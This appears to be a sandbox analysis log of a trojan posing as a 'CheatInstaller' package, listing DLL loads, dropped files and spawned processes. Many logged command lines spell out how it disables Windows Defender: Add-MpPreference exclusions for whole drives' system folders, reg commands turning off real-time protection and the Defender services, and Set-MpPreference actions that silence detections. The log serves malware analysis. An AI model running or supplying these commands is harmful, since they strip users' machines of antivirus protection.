Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: JWQgbclQK5

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

Source: classification engine

Classification label: mal100.troj.evad.win@261/1107@1/11

Source: C:\Windows\System32\msiexec.exe

File created: C:\Program Files (x86)\OpenSource

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe

File created: C:\Users\user\AppData\Roaming\OpenSource

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4064:120:WilError_03
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Mutant created: \Sessions\1\BaseNamedObjects\Vvouaqo
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6084:120:WilError_03
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Mutant created: \Sessions\1\BaseNamedObjects\Uhivhcyle

Source: C:\Users\user\Desktop\JWQgbclQK5.exe

File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\progressgood.bat" "

Source: JWQgbclQK5

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\JWQgbclQK5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: JWQgbclQK5

ReversingLabs: Detection: 69%

Source: C:\Users\user\Desktop\JWQgbclQK5.exe

File read: C:\Users\user\Desktop\JWQgbclQK5.exe

Source: unknown	Process created: C:\Users\user\Desktop\JWQgbclQK5.exe "C:\Users\user\Desktop\JWQgbclQK5.exe"
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe .\Install_YTTCHTs.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E0A36685E052AA6AB614A5D414986D64 C
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C\YTtSTCHEAT.msi" /quiet AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1711662176 " ALLUSERS="1"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Noninteractive -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssC38A.ps1" -propFile "C:\Users\user\AppData\Local\Temp\msiC368.txt" -scriptFile "C:\Users\user\AppData\Local\Temp\scrC369.ps1" -scriptArgsFile "C:\Users\user\AppData\Local\Temp\scrC36A.txt" -propSep " :<->: " -lineSep " <<:>> " -testPrefix "_testValue."
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\progressgood.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 5A985AC032B9C93F6690101D7D0915B7 E Global\MSI0000
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI551D.tmp "C:\Windows\Installer\MSI551D.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe .\Install_YTTCHTs.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Installer\MSI551D.tmp	Process created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5C5C.tmp\5C5D.tmp\5C5E.bat C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\system32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\OpenSource\CheatInstaller 2.32\install\E957A1C\YTtSTCHEAT.msi" /quiet AI_SETUPEXEPATH=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe SETUPEXEDIR=C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1711662176 " ALLUSERS="1"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\ProgramData" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Windows" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding E0A36685E052AA6AB614A5D414986D64 C
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 061CED878CF19ABE4346D43116706A13
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 5A985AC032B9C93F6690101D7D0915B7 E Global\MSI0000
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Add-MpPreference -ExclusionProcess "MsBuild.exe" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -PUAProtection disable" -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBF81.tmp "C:\Windows\Installer\MSIBF81.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\Narsil.exe"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBF92.tmp "C:\Windows\Installer\MSIBF92.tmp" /EnforcedRunAsAdmin /DontWait /HideWindow "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSIBFC2.tmp "C:\Windows\Installer\MSIBFC2.tmp" /EnforcedRunAsAdmin /DontWait /RunAsAdmin /HideWindow "C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe "C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\Installer\MSIBFC2.tmp	Process created: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe "C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6 -Force"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
